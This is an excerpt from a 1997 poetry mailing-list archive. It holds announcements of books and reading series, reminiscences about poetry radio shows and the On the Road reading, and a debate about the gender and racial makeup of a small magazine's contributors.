More pointless erudition: I heard that W Stevens' poems (soon to be issued in Library of America gorgeous deluxe format?) were written by a drunken sailor. Speaking of asleep in their boots: I ducked out of St Marks this morning at 6:45 to avoid the round robin conclusion of the all night reading of On the Road. The part I heard, from 3:45 on, had Dean stealing cars, landing Sal and the jesuit boys in a ditch, everybody eyeing dames and saying 'damn' softly, and of course, spodie-odie. Standout readers included the great Dug Rothschild scurrying up to the podium shoeless and in an unbuttoned work shirt, assembling his outfit (and creasing his fedora) as he read the bit about getting out of town before the angry mob of high school boys came to get Dean for flinging pebbles at the local beauty's window, the incomparable Ted Greenwald laughing at something, a lady assistant whose name I forget doing a lovely reading of Sal flirting with a woman in a low-cut cotton blouse, Sharon Mesmer banging the podium (and saying 'ow'), David Vogen accelerating maniacally for one of Dean's less lucid moments, Johnny Stanton mentioning that he had seen Neal Cassady himself change a tire on 10th betw B & C, agh, I forget who else, it was early! But the Financial Times shows up at Gem Spa at 3 am, which is good

to know, that and Sandy Weill has a neon sign outside his office which like a hotel sign announcing vacancy or no declares him 'happy' or 'not happy'.

The Forward doesn't show up until 6,
Jordan

↑ Index

461. **Jordan Davis**
Re: younger poets anthology
Thu 25 Sep 1997

Uh, David, I think it's called "younger poets" because it used to be in a very copyright-infringing way called "Yale Younger Poets." So you see, it's, uh, well, a joke -- albeit a New York School/Naropa joke, which means that unlike a Language Poetry joke, you won't find it in The Economist ...

by the way, looking very forward to your reading at Poetry City with Alan Sondheim --

Jordan

↑ Index

462. **Jordan Davis**
service unavailable
Thu 25 Sep 1997

---

speaking of the list mechanics--I'm assuming I get a service unavailable message regarding odin of the cairn and the cross because I'm a new york school/naropa poet, right? -- if not, the listmasters maybe want to convert at least that name's box to nomail until the owner comes back?

Love,
Atar S.A. Genf

↑ Index

463. **Henry Gould**
yngr-than-thou publ. notice
Thu 25 Sep 1997

HOT, HOT, HOT off the presses next week,
for all you fanatics of the really late Henry Gould [don't everybody write
at once]:

CYCLOBIOGRAPHY, by Henry Gould
Providence: AlephoeBooks, 1997
144 pp. poifectly bound

$13.50 ($12. & shipping) to: The Poetry Mission, PO Box 2321, Providence, RI 02906

A collection of semi-bent narrative poems in Henry's trademark beat-byzantine [or b-squared] style.

Now a few words from the In-the-Know Crowd [hot off the espresso mute bar]:

"Already an underground classic. I buried mine yesterday and opened all the windows." - Jack Spandrift

"C'mon Jack, you can do better than that. Want to borrow my Princeton Encyclopedia of Toney Poetic Blurbs?" - Henry Gould

"His management of the keyboard of American slang lexicon (what is Rhode Island, anyway?) is sure to gratify, wouldn't you say, every one of his many admirers?" - Eric Blarnes

"Yo, babe! Hot shit! The dude's no jayhawk!" - Helen Vendler

"If Wystan and I were still alive, we would certainly be reading this book. Thank our lucky stars, at our present spiritual abode we can just dip directly into it now and then." - James Merrill

"No comment." - Robert Pinsky

"No comment." - Rita Dove

"Any more comments?" - Henry Gould

"At last! A Man for our Times!" - Princess Louisa Fortinblatt-Hohenzollern, Duchess of Grand Fenwick & VIP-Spankin'-Regent of Turkustan-Stufflings

"Henry who?" - John Berryman

"If you read one book this year... oh, forget it." - Marian the Librarian

"Hey everybody, this guy is really cool. I was reading this just today at Gimme No Lip & spilled mocha java all over it. Have you tried their coffee? It's better than Blend To Death's. Did you see Lena there yesterday? She wasn't in class all last week. Jason said she went to New York..." - Joe College

↑ Index

464. Tom Mandel
radio shows...
Thu 25 Sep 1997

Ron Silliman writes:

> *Clark Coolidge did a great show on KPFA for awhile in the late 1960s, followed by another by David Gitin. Clark's was basically the NY School, and David's basically the Black Mtn folks. Later Kit Robinson and Erica Hunt did*

> *a series called In the American Tree (from which I took a title), later hosted by others as well. Jack Foley more recently has had a show on that station.*

Don't I remember Lyn doing that show first, Ron? I mean before Kit and Erica, or do I have that backwards. I *do* remember being on it with her.

"David Gitin" -- wonder what he's doing now?

Tom Mandel

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]
****

Join the Caucus Conversation

↑ Index

465. **Douglas Barbour**

Re: e on c

Thu 25 Sep 1997

As someone who can barely manage to 'open' my own computer & get through to read this list each day, I have to say Thanks Eliza, youre absolutely right that Charles et al have done great service to us all -- so Thanks to them all for such service. (On the other hand, I seem to have missed the deep problems rs caused, although I can understand why he was asked the question re his name. I have to say I wasnt bothered by his postings even if I wasnt moved to respond to any myself, but I do think the various advice to him re checking things out about possible 'technical' problems seemed reasonable. Sorry in a way that he wont be here, but glad that here continues to be...

==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

In the gloom, the gold gathers the light against it.
Ezra Pound

↑ Index

466. **David R. Israel**
nostalgia & its vintages, redox
Thu 25 Sep 1997

Somehow (i.e., over-haste), my yesterday's verse (responsive to a phrase from Doug Barbour) was a bit messed up; here's what I'd intended to write:

> *. . . & irony has such problems today!*

O where are the ironies of yesteryear --
when what weren't said rang silvern in the ear? --
when what I meant (converse to what I spake)
shone lucid as then-waterbrooks, & clear

d.i.

↑ Index

467. **Ira Lightman**
Clark Coolidge's Polaroid
Thu 25 Sep 1997

Does anyone have a copy of the tape of Clark
Coolidge reading Polaroid?

Ira

↑ Index

468. **Dale Smith**
The Name & the Paradox of its Contents
Thu 25 Sep 1997

Mike and Dale's Younger Poets is indeed a play on the Yale Younger Poets Series. At least, that's how it started. The first issue was in fact titled, simply, Yale Younger Poets. Then it became Dale's YP. We've called it Mike and Dale's since issue 4.

We happen to include any poet we love in these issues, hence the paradoxical contents. Which shouldn't be too troubling, really, to understand as poets. The magazine is also about listening to those who have contributed to this art before us. Whether it's NY school, SF renaissance, or black mountain doesn't matter. We're autocratic and take what we like. I guess by that you can tell what we don't like.

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469. **dbkk**
Re: The Name & the Paradox of its Contents
Thu 25 Sep 1997

At 10:07 AM -0700 9/25/97, Dale Smith wrote:

> *We happen to include any poet we love in these issues, hence the paradoxical contents. Which shouldn't be too troubling, really, to understand as poets. The magazine is also about listening to those who have contributed to this art before us. Whether it's NY school, SF renaissance, or black mountain doesn't matter. We're autocratic and take what we like. I guess by that you can tell what we don't like.*

Dale,

Judging from the writers you listed for this issue of your mag, what you guys like is straight white men. For example, I counted 22 poets and 2 interviewees, for a total of 24 contributors, only four of which were women. I think that even The New American Poetry did better than that.

I hate PC-mongers myself, but still . . .

Dodie

↑ Index

470. **Ernesto Grosman**
The Radio Reading Project
Thu 25 Sep 1997

The Radio Reading Project

In 1992, Rosanne Limoncelli and myself produced five radio programs of poets in performance, all of them followed by short interviews. The programs were produced and directed by Rosanne and myself and our sound engineer at the time was Claudia Cummings. The recordings were made at New York University, Tisch School of the Arts, during the winter of 1992-93. Each program lasted close to 56 minutes and where edited to be broadcasted in actual radio as part of an ongoing archival project. In the beginning our hope was that the programs would become available through satellite. At the time we didn't know of the possibilities of the WWW neither of the soon to be Electronic Poetry Center, since then three of those radio programs became available through the EPC (http://writing.upenn.edu/epc/sound/file-list-html), Hannah Wiener's, Jackson Mac Low's and Charles Bernstein's. The other two recordings (Robert Creeley's

and Susan Howe's) are awaiting to be put on line. Last week Rosanne started to transfer those programs from reel to reel to a digital format in order to offer the best possible sound quality. In spite of the extended editing, recordings were in some cases half an hour longer that the actual final 56 minutes cut, I believe that they preserved the tone of each meeting.

↑ Index

471. Karlien van den Beukel

Rempress publications and reading series

Thu 25 Sep 1997

Rempress is a small poetry press and organiser of reading series, based in Cambridge, UK. It is run by Lucy Sheerman and myself. We have published and will be publishing some pamphlets which may be of interest to people in the States. We now have a US distributor, SPD, which will make it much easier to get hold of these pamphlets.

Jennifer Moxley Enlightenment Evidence (Part One)
ISBN No 1 901 361 00 4

Beth Anderson The Impending Collision
ISBN No 1 901 361 02 0

Both these poets are intellectually passionate and accomplished. And for list completion's sake the third pamphlet out is:

Karlien van den Beukel Pitch Lake
ISBN No 1 901 361 01 2

These pamphlets cost $8 each. Small Press Distribution's address is:

1341 7th Street
Berkeley CA
94710 - 1403
tel: [redacted]

People outside the US might find it easier to write to the publisher direct:

Rempress
6 Grasmere Gardens
Cambridge CB4 3DR, UK

Out soon will be the following pamphlets:

Fiona Templeton Oops the Join
Tracy Ryan Slant
Lisa Jarnot Heliopolis

I'll let you know when these are published.

We also run a reading series and, for what it's worth, here is the autumn programme.

Rempress Poetry Readings Michaelmas 1997

6th October: Nicholas Johnson Bill Griffiths Barry MacSweeney

24th October: Tony Lopez Simon Perrill

6th November: Kevin Nolan John Wilkinson

21st November: Bob Perelman Tracy Ryan

Readings are held at the Arts Theatre, Cambridge, starting at 8.30 pm. Everyone most welcome.

Karlien

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472. **dbkk**

Caroline Bergvall/Kevin Killian in San Francisco

Thu 25 Sep 1997

Small Press Traffic and Canessa Park present

Caroline Bergvall
and
Kevin Killian

Tuesday, October 14, 7:30 p.m.
AT CANESSA PARK
708 Montgomery at Columbus

This is the first San Francisco appearance of the dynamic Caroline Bergvall, one of the United Kingdom¹s most interesting new writers. Ever since her appearance at last year¹s ³Assembling Alternatives² conference in New Hampshire, where she made a huge hit, we have wanted to bring her here to the Bay Area. Now here she is, live, in person, at Canessa Park. She is the author of Éclat (Sound & Language, 1996) and teaches performance writing at Dartington College of the Arts in Devon (England). ³So, what is Performance Writing not? Is Performance Writing not writing? Is it writing which performs not writes? Is it not performance which writes? But then does writing not perform? And when does writing not perform? And what kind of not performance are we talking about? Is it not performance to write or is it not writing to not perform? ² Don¹t miss this chance to see and meet La Bergvall, the woman everyone¹s talking about, for soon you will be too!

For you with access to the World Wide Web check out:

http://angel-exhaust.offworld.org/html/issue-9-10/CarolineBergvall.html for some of her writing

http://www.dartington.ac.uk/Performance_Writing/keynote.html for some of her theory

Kevin Killian, long-time Small Press Traffic volunteer, has manfully volunteered to be the opening act for our UK visitor. His 1997 books are Little Men (Hard Press), Arctic Summer (Hard Candy) and the new Argento Series (Meow Books), which collects many of the poems he has written over the past few years on the intertwined topics of HIV and the films of the Italian horror maestro Dario Argento. With Lew Ellingham Killian has written the life of the US poet Jack Spicer which Wesleyan University Press will publish in the spring. [3]Five Years in the Life of Jack Spicer[2] has recently appeared in the Impercipient Lecture Series, and another excerpt from this biography will appear in Chicago Review in December. He is thrilled to return to Canessa Park at last.

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473. Rachel Levitsky
Left Hand Reading Series 97/98 Schedule
Thu 25 Sep 1997

LEFT HAND READING SERIES 97/98 SCHEDULE

The Left Hand Reading Series is a program of the Left Hand Book Collective, an all volunteer bookstore in Boulder. We sell radical left texts, multi-cultural literature and a variety of alternative media. We are located at 1825 Pearl Street, Boulder, CO 80302. For information call [redacted] or [redacted].

The LHRS seeks to promote the work of writer's whose work might otherwise be marginalized. We encourage the work of youth, writers of color, & experimental forms. Each event includes an OPEN segment for new writers.

Thursday, September 25, 8:30 pm

T Begley, poet, translator, co-author Saphho's Gymnasium, co-translator of Odysseus Elytis' Open Papers (both w/ Olga Broumas) and several chapbooks.

Bill Scheffel, poet, teacher of writing and meditation.
Roger Snell, poet, environmental activist.

Monday, October 27, 8:00 pm, a queer night co-sponsored with DAWG

Leslea Newman, poet, ed., novelist, 1997 NEA recipient for her latest book Still Life With Buddy, author Heather Has Two Mommies and 19 other volumes.

Ellen Orleans humorist, novelist, playwright Lambda Literary award winner. Her latest book is Still Can't Keep A Straight Face.

Monday, November 24, 8:00 pm

Jack Collom poet, teacher, author _Arguing with Something Plato Said_ and numerous other volumes. A performance in collaboration with Josepha Conrad.

Akilah Oliver poet, published in _High Risk 2_, member of performance art ensemble The Sacred Naked Nature Girls, activist, facilitator 'Writing is Life' workshop for queer youth.

December--Date to be announced
Poet's Theater

Monday, January 26, 8:00 pm

Marilyn Krysl, poet, fiction, essay writer. Author, 7 volumes of poetry including _Warscape, with Lovers_, winner 1997 Cleveland State Poetry Center prize, director of Creative Writing at CU, Boulder, co-editor _Many Mountains Moving_.

Megan Marsnik, fiction writer, Naropa MFA candidate.

Patrick Pritchett, poet, CU student , poems in Prairie Schooner, River City, New American Writing, Exquisite Corpse and Many Mountains Moving.

Thursday, February 26, 8:30 pm., 2 poets from Fort Collins

Laura Mullen, poet, author _The Surface_ (selected for the National Poetry Series 1991), _The Tales of Horror_ (forthcoming in the fall of 1998 from Kelsey St. Press). She teaches at Colorado State University.

Mark Sanchez, poet, student at CSU.

Monday, March 16, 8:00 pm

Victor Hernandez Cruz, poet, performer

Michelle Albert, fiction writer

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474. David Bromige
e-ddresses : Don Byrd, Victor Coleman/ younger poets
Thu 25 Sep 1997

Sorry to use up a message on the List fopr further e-ddress info....can someone tell me, is there a directory of some kind i might access for this stuff? Meanwhile, if anyone has an e-ddress for Don Byrd--or for Victor Coleman, see yesterday's posting by me--please b-c me with that info.

While I'm eating up a message unit anyway, I might as well say thanks to those who posted in with info re "Younger Poets." My posting re that was dumb. I dont understand half of it myself. I had had 3 vodka tonics. Must remember not to turn computer on when swacked.

But in this connection, I would like to repeat what Randolph Healy wrote, when I had told him, some months ago, I had had 3 vodka tonics the night before : "What self-control--that you could stop!"

As you may deduce, if getting drunk is a newsworthy event in my piccolo mondo, its what i seldom do. And today, I know why. David

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475. **Dale Smith**

Re: The Name & the Paradox of its Contents

Thu 25 Sep 1997

Dodie:

Thanks for exposing the obvious injustice. As you can imagine, Hoa and I have discussed the very issues you yourself raise. And I would like to open this up to others on the list with more experience editing magazines than myself. The dilemma, as I see it, is twofold: 1) how do you publish poetry you love and 2) still represent poets of diverse backgrounds? My small format allows me hardly 90 pages of space to work with, so I'm naturally going to be selective about how I fill that up. Also, my friends who write the poetry I like, happen to be predominately white and male. I prefer friends' work to strangers. But I don't limit it in that way. I publish plenty of people who I don't know personally. But there's no way I can do a search of all the women and people of color writing poetry in this country. I have neither the means nor the time for that kind of investigation. Nor, frankly, the interest. Luckily, in this country I can be concerned with issues of aesthetics. Which for me, these days, is as troubling as racial and sexual equality. But then again, I'm not, on a daily basis, openly confronted with inequities of race or gender because I am a white man. I would be ashamed to admit otherwise and ashamed to condescendingly ask for work from women or people of color just to satisfy some personal need of pan-sexual/racial representation in order to prove that, hey, I'm really a nice guy. Look. I published this poem by... I do know several female poets, but fewer writers of color. Of the women I know, I have invited only those whose work I admire and want for my magazine. It seems the others send their poems to Chain, where they can stay, as far as I'm concerned, from an aesthetic position. My poetics, if you haven't noticed, is deeply influenced by NY school, black mountain poets, etc. Pound,in a deeper way, influences my decisions. Most writers outside of my small camp follow a deplorable tradition of poetics established by Gertrude Stein's self narcissim. It's simply not my thing, yet that kind of poetics proliferates and is condoned by many people. Judging from the invitations Hoa receives to submit poetry to various journals, I assume that there are plenty of established venues, with at least some corporate/academic funding, open to the aesthetic style I

detest. But Hoa's poetry is actually quite good, so those editors are lucky to be getting it. But, because there are so few poets of color writing experiemental poetry and so many white editors demanding such work, Hoa actually questions the aesthetic value of her poems. I feel, however, that most poetics journals these days seek women and people of color to satisfy a self-righteous urge to compete in the cultural market place, regardless of personal poetics. And editors who do not draw a line over aesthetic concerns, in the end, ruin thought, intellection, and in a deeper way, the very issues they themselves falsly believe they are confronting. Because, honestly, a great deal of poetry is dull as hell these days. Both men and women are contributing to that. All patronizing attempts to include the other will continue to expand this inanity. But now we are discussing aesthetics, which is tricky, and will take us nowhere. You will see what you have to and I will do what I must. Meanwhile, compared to something like Chain, or even Mirage, M&D's must seem quite unfashionable.

Yours,
Dale

>At 10:07 AM -0700 9/25/97, Dale Smith wrote:
>
>>We happen to include any poet we love in these issues, hence the
>>paradoxical contents. Which shouldn't be too troubling, really, to
>>understand as poets. The magazine is also about listening to those
who
>>have contributed to this art before us. Whether it's NY school, SF
>>renaissance, or black mountain doesn't matter. We're autocratic and
take
>>what we like. I guess by that you can tell what we don't like.
>
>Dale,
>
>Judging from the writers you listed for this issue of your mag, what
you
>guys like is straight white men. For example, I counted 22 poets and 2
>interviewees, for a total of 24 contributors, only four of which were
>women. I think that even The New American Poetry did better than that.
>
>I hate PC-mongers myself, but still . . .
>
>Dodie
>

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476. Susan Clark
[Fwd: test [Fwd: RADDLE MOON 's new address]]
Thu 25 Sep 1997

This is a multi-part message in MIME format.

one more try:

Date: Wed, 24 Sep 1997 19:01:18 -0700
From: Susan Clark <[redacted]>
Organization: A Use for Poets (Editing) Company
To: UB Poetics discussion group <[redacted]>
Subject: test [Fwd: RADDLE MOON 's new address]

This is a multi-part message in MIME format.

If this reaches the list, apologies for the duplication. We're trying to figure out why I can't post.

Susan

Date: Mon, 22 Sep 1997 17:17:42 -0700
From: Susan Clark <[redacted]>
Organization: A Use for Poets (Editing) Company
To: [redacted]
CC: UB Poetics discussion group <[redacted]>
Subject: RADDLE MOON 's new address

dear Spencer, dear list,

please address all RADDLE MOON or GIANTESS correspondence, submissions, subscriptions, etc. to our new address:

RADDLE MOON / GIANTESS
Main Space
518-350 East Second Avenue
Vancouver, BC
V5T 4R8 CANADA

And, thanks, Spencer for continuing this most useful -- and heartening
-- list.
Susan

Susan Clark

----------21F51448551F--

----------37A94C81279D--

↑ Index

477. **dbkk**
Re: The Name & the Paradox of its Contents
Thu 25 Sep 1997

At 3:59 PM -0700 9/25/97, Dale Smith wrote:
>I feel, however, that most poetics journals these days seek
>women and people of color to satisfy a self-righteous urge to compete in
>the cultural market place, regardless of personal poetics. And editors
>who do not draw a line over aesthetic concerns, in the end, ruin
> thought, intellection, and in a deeper way, the very issues they
>themselves falsly believe they are confronting.

Dale,

You've dug yourself in so deep, I feel like offering you a shovel . . .

I feel that women and writers of color have, more often than not, given the most thrilling readings at Small Press Traffic over these many years. My "thought" and "intellection" may have been ruined long ago, but I've never booked anybody whose work I didn't believe in--and yes I've had to research, to fill in my lacunae--but I think the results, both personally and publically, have been well worth it.

Dodie

↑ Index

478. **Susan Schultz**
Re: The Name & the Paradox of its Contents
Thu 25 Sep 1997

Why is it that "aesthetics" always comes to the rescue of any attempt to broaden one's scope by including writers of color and women, as if there were some "natural" division between them? I know I've solicited material from members of both "groups," and not because I felt it an either/or question; it would be an act of bad faith were I not to do so. And why is it that the mysterious category of "my friends" is always the one holding the aesthetical torch? I appreciate the desire not to make too many distinctions, but the refusal to make any (or to insist that only others are doing so) only supports the status quo. And is not "experimentalism" an attempt to change the status quo? Or should only some quo's be re-statused?

Susan

Susan M. Schultz
Dept. of English
1733 Donaghho Road
University of Hawai'i-Manoa
Honolulu, HI 96822

http://writing.upenn.edu/epc/authors/schultz
http://writing.upenn.edu/epc/ezines/tinfish

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479. Ernesto Grosman
The Radio Reading Project... A CORRECTION
Thu 25 Sep 1997

In my last message I made a mistake in the address of the EPC Sound List by typing a dash instead of a dot between the words "list" and "html".

It should read:

http://writing.upenn.edu/epc/sound/file-list.html

Sorry,

ernesto

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480. Christopher Reiner
AVEC Sampler
Fri 26 Sep 1997

> *New From Avec Books:*
>
> *An Avec Sampler, 1997*
> *New writing by:*
> *Laura Moriarty; Chris Stroffolino; Laynie Browne; George Albon; Stephen-Paul Martin; Susan Smith Nash and Lissa McLaughlin.(Cover photographs by Lissa McLaughlin.)*
>
> *AN AVEC SAMPLER is not AVEC magazine. It is not any magazine. It is a book, a sampling of contemporary writing, with approximately seven to ten pages from each contributor. This publication of multiple authors will appear at various invervals. Future SAMPLERS will include translations--from the French and other languages.*
>
> *63 pages * $8.50 (please include $1.24 for bookrate shipping)* Perfect Bound* ISBN: 1-880713-10-1*
>
> *_The Avec Sampler_ is available from SPD and Baker and Taylor. In the*

> *coming weeks, check out the Avec Books website for Sampler excerpts.*

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481. **Tom Orange**
name, paradox, &c.
Fri 26 Sep 1997

points well taken on both sides here, tho i will add two cents along the lines of what dale was saying abt the profusion of journals out there.

some of the editorial work for the journal sub-stance has recently moved from santa barbara here to london ont. for a few years now the number of submissions dealing with issues of gender/race/identity have, very sadly, dropped off, a simple reason being that there are any number of specialized journals now that cover those areas. which is of course a good thing, except that now a readership that appreciates a broad range of perspectives can no longer easily find that range in one place, and readerships get fragmented, balkanized.

perhaps that fragmentation is more accurate reflection of the status quo, and i certainly wdnt advocate a return of the evil empire. but in the meantime, what's an editor to do? broaden horizons do some work and hunt down a range of perspectives, hellyeah. publish stuff you don't like for the sake of being "representative," noway.

publish stuff you like -- and keep looking for new stuff to like.

cheers,
tom

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482. **David Dowker**
Re: Caroline Bergvall/Kevin Killian in San Francisco
Fri 26 Sep 1997

More of Caroline Bergvall's writing can be found at:

http://home.ican.net/~alterra/

David

> *For you with access to the World Wide Web check out:*
>
> *http://angel-exhaust.offworld.org/html/issue-9-10/CarolineBergvall.html*
> *for some of her writing*
>
> *http://www.dartington.ac.uk/Performance_Writing/keynote.html*
> *for some of her theory*

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483. **Stephen Cope**

Re: radio shows... (a brief on Gitin)

Fri 26 Sep 1997

David Gitin actually still does (or at least did as of a year ago) a radio program, although it comes out of Monterey area. No poetry, or very little. More a music program. He still generates about a chapbook a year of poems...

Stephen Cope

PS: I'd have to mention LINEbreak here. When I was in Santa Cruz I broadcast about half of the tapes to fairly strong response. Charles provides a welcome contrast to Terri Gross, and an even more welcome contrast to most of what passed for poetry programs in the area (of which there were and likely still are quite a few, but mostly somewhat conservative).

> *Ron Silliman writes:*
>
> *Clark Coolidge did a great show on KPFA for awhile in the late 1960s, followed by another by David Gitin. Clark's was basically the NY School, and David's basically the Black Mtn folks. Later Kit Robinson and Erica Hunt did a series called In the American Tree (from which I took a title), later hosted by others as well. Jack Foley more recently has had a show on that station.*
>
> *Don't I remember Lyn doing that show first, Ron? I mean before Kit and Erica, or do I have that backwards. I *do* remember being on it with her.*
>
> *"David Gitin" -- wonder what he's doing now?*
>
> *Tom Mandel*
>
> *Tom Mandel* [redacted]
> *********
> *Screen Porch * http://screenporch.com*
> *4020 Williamsburg Ct, Ste 200 * vox:* [redacted]
> *Fairfax, VA 22031 * fax:* [redacted]
> *********
> *Join the Caucus Conversation*

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484. Hugh Steinberg
Re: The Name & the Paradox of its Contents
Fri 26 Sep 1997

Dale writes (among other things):

1) how do you publish poetry you love and 2) still represent poets of diverse backgrounds? My small format allows me hardly 90 pages of space to work with, so I'm naturally going to be selective about how I fill that up. Also, my friends who write the poetry I like, happen to be predominately white and male.

Dale: Not to sound condescending, but you need to make more friends. Or to spin it another way, all you have to do is ask. If you get bad Gertrude Stein imitations, be an editor and demand better (which is your perogative as an editor, not because you happen to be white or male).

I side with Dodie on this one.

Hugh Steinberg

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485. rsillima
David Gitin
Fri 26 Sep 1997

Tom Mandel asks what David Gitin is doing. Well, after an eventful stay in Japan after the end of his second marriage a few years ago (he was literally hit by a truck), he's back in the Monterey area teaching at a few of JCs around there. Publishes little chapbooks of his poetry, which I still enjoy reading whenever I get them.

Ron

Ron Silliman
262 Orchard Road
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]
http://writing.upenn.edu/epc/authors/silliman/

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486. Schuchat Simon
Re: The Name & the Paradox of its Contents
Fri 26 Sep 1997

---

an interesting problem. I don't think anyone is getting rich publishing small press magazines or books, certainly it would be strange for anyone to publish work they don't like, it also seems logical to publish your friends' work (I would like to be friends with many of the writers whose work I like and it certainly is hard on a friendship with a writer if you don't like their work, though I can think of exceptions to both of these statements without much effort). so it seems as though on general principles Dale is right, except that he seems to define his friends and his taste in, not exclusionary terms, but restricted somehow. it would be crazy to publish something you don't like because of the gender or race of the author*, it would be even crazier to presume you won't like someone's writing because of their gender or race, and it seems sad but perhaps understandable that someone lacks the curiosity or energy to seek out writing by non-white non-males who might be interesting. but what can you do, Frank O'Hara said nobody should be forced to read poetry as if it were good for you.

*(or if not crazy at least weirdly backscratching logrolling careerist)

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487. Miekal And
Spam Emotions, Spam Thinking, Flames Fairing
Fri 26 Sep 1997

I getting the distinct impression that this list is addicted to drama. Is this what words mean?

Miekal

who has his fill of drama living in a community of 15 or so anarchists.

--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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488. henry gould
Re: The Name & the Paradox of its Contents
Fri 26 Sep 1997

Responding to Dale's interesting letter: I think you have to take your "aesthetic" seriously enough to want to find it reflected where you might not so easily recognize it, outside the writing of your buddies & idols of the past. And see where its boundaries are with respect to the not-obviously aesthetic, like history & personal experience & the public world & etc.

A very brief story that might shed light on the issue: I was at a Poetry Mission mtg last night. Edwin Honig, a poet close to 80 who has been through the Depression, WW II, personal McCarthyite persecution, etc. was pushing for a reading or series of readings around Vietnam vet poets & translations of Vietnamese poets, as a way of getting at the kind of poetry that seems interesting & real to him: poetry of real, historical- personal experience, of people who have "been there" in fact or authentic imagination. He criticized a lot of current trends as simply writing he "doesn't understand" - abstract, inhuman, solipsistic, hermetic. That people need poetry that addresses & interprets their own experience of war & life's battles in a way they can feel, not in a way they have to "appreciate" as art or technique or whatever. [ars est celare artem]

How does this relate to your mag? That if you are really interested in an alternative to academic product & experimental solipsism, you have to be less complacent about your own aesthetic & less superficial about the grid of p.c. divisions (gender, class, race). The issue of when poetry loses its edge or essence & fades into doctrinaire or documentary regurgitation is important - but that's part of your job in looking for & finding good writing outside your own circle.

(Understand I'm preaching to myself here, as the inheritor of a little mag & trying in piddly ways to move MYSELF off the passive to the active stage of finding material).

- Henry Gould

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489. Pierre Joris
Re: Writing experiments
Fri 26 Sep 1997

> *The most amazing Oulipo resource I know of is a *THREE VOLUME* _La Bibliotheque Oulipienne_ [apologies for omitted accents ...]. The publisher is Seghers, I'm showing an ISBN of 2-232-10308-0 for volume 1. This is in French, of course. For anyone truly interested in Oulipo, these*

> *volumes are*
> *a must-have. I'm not sure where one orders such things, I just found them*
> *sitting on the shelf the last time I was at a bookstore in Paris.*
> *(Amazon.com doesn't seem to have them; I just tried that ISBN at Amazon.com*
> *and came up empty.) Pierre?*

Yes indeed, Jim -- in August I stood drooling in La Hune in Paris flipping through the 3 volumes: they definitively are the best collection of OULIPO stuff -- cldn't however buy it as I had just come from my favorite bookshop, the Librairie Avicenne, where I had spent every last franc I owned buying some 2 dozen recent & not so recent books by Maghrebian & Mashrekian poetas & writers. Next time....

Pierre
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"I have never been able to tell a beginning
from an end." — Georges Braque
==========

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490. **Maria Damon**
Re: The Name & the Paradox of its Contents
Fri 26 Sep 1997

At 5:07 PM -0700 9/25/97, [redacted] wrote:
>At 3:59 PM -0700 9/25/97, Dale Smith wrote:
>>I feel, however, that most poetics journals these days seek
>>women and people of color to satisfy a self-righteous urge to compete in
>>the cultural market place, regardless of personal poetics. And editors
>>who do not draw a line over aesthetic concerns, in the end, ruin
>> thought, intellection, and in a deeper way, the very issues they
>>themselves falsly believe they are confronting.
>
>Dale,
>
>You've dug yourself in so deep, I feel like offering you a shovel . . .
>
>I feel that women and writers of color have, more often than not, given the

>most thrilling readings at Small Press Traffic over these many years. My
>"thought" and "intellection" may have been ruined long ago, but I've never
>booked anybody whose work I didn't believe in--and yes I've had to
>research, to fill in my lacunae--but I think the results, both personally
>and publically, have been well worth it.
>
>
>Dodie

i second that emotion; and i also, personally, wince at playing stein off against pound in a way that casts stein as the narcissist, the errant one, the one with the "problem." to my mind, this is a gendered and politicized determination as much as it is an aesthetic one --i.e. women are often accused of narcissism, self-indulgence, etc and that judgment is used to keep them from access to the renown and respect enjoyed by their male peers. dale, i wonder if it'd be fair to say that your aesthetic sense may itself be the product of conditioning in an un-just society?

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491. **Maria Damon**
Re: The Name & the Paradox of its Contents
Fri 26 Sep 1997

At 3:35 PM -1000 9/25/97, Susan Schultz wrote:
>Why is it that "aesthetics" always comes to the rescue of any attempt to
>broaden one's scope by including writers of color and women, as if there
>were some "natural" division between them? I know I've solicited material
>from members of both "groups," and not because I felt it an either/or
>question; it would be an act of bad faith were I not to do so. And why is
>it that the mysterious category of "my friends" is always the one holding
>the aesthetical torch? I appreciate the desire not to make too many
>distinctions, but the refusal to make any (or to insist that only others
>are doing so) only supports the status quo. And is not "experimentalism"
>an attempt to change the status quo? Or should only some quo's be
>re-statused?
>
>Susan
>
hear hear. in my workplace and probably many of you'alls' (or is that all's?) the dynamic dale is describing is called the old boys' network.

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492. Herb Levy
Shirley Clarke
Fri 26 Sep 1997

Thought some folks would be interested that "underground" filmmaker Shirley Clarke (the Connection from Jack Gelber's Beat play, the Cool World, Portrait of Jason, Ornette: Made in America &, according to the NYTimes, though I've never seen it, an Oscar-winning documentary on Robert Frost in 1962). She was also a co-founder of the Filmmakers Cooperative that used to put out dreamy catalogs back in the 60s & 70s.

There's a NYTimes obit today <http://www.nytimes.com/yr/mo/day/news/national/obit-clarke.html>.

Herb Levy
[redacted]

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493. Rachel Levitsky
Re: The Name & the Paradox of its Contents
Fri 26 Sep 1997

There are so many good posts already on this one but it is just too delicious to pass up and like with Kevin, it has woken me from my silence, the houseclean-ing can wait. I think I can limit my points to two.

1)"But, because there are so few poets of color writing experiemental poetry" writes Dale. I feel ridiculous even having to point out how untrue this is. Of course then we get into a discussion of terms. What we mean by 'experimental' even 'writers of color.' But when I pulled books off my shelf this summer to teach my "Experimental Reading & Writing" class, this was not a problem. Among the writers we read were Kamau Braithwaite, Rochelle Owens, Clarke Coolidge, Susan Howe, Nicole Brossard, Paul Beatty, Jayne Cortez, Sapphire, Beckett, Clark Coolidge, Amiri Baraka--but then again I do tend to define things broadly. It's seems obvious to me that interesting language often comes from the margin, if its not being heard, it's just not being heard.

2) I think this whole issue of picking someone just because they are a . . . can be laid to rest. Only the most unimaginative and mediocre chooser would put themselves in that position. On the other hand why not just assume that there is proportional quality coming out of all sorts of bodies? I mean just assume it's true.

In my office job I noticed that six men were the finalists for an director position. I blurted to my boss 'you're going to extend the search aren't you' and he

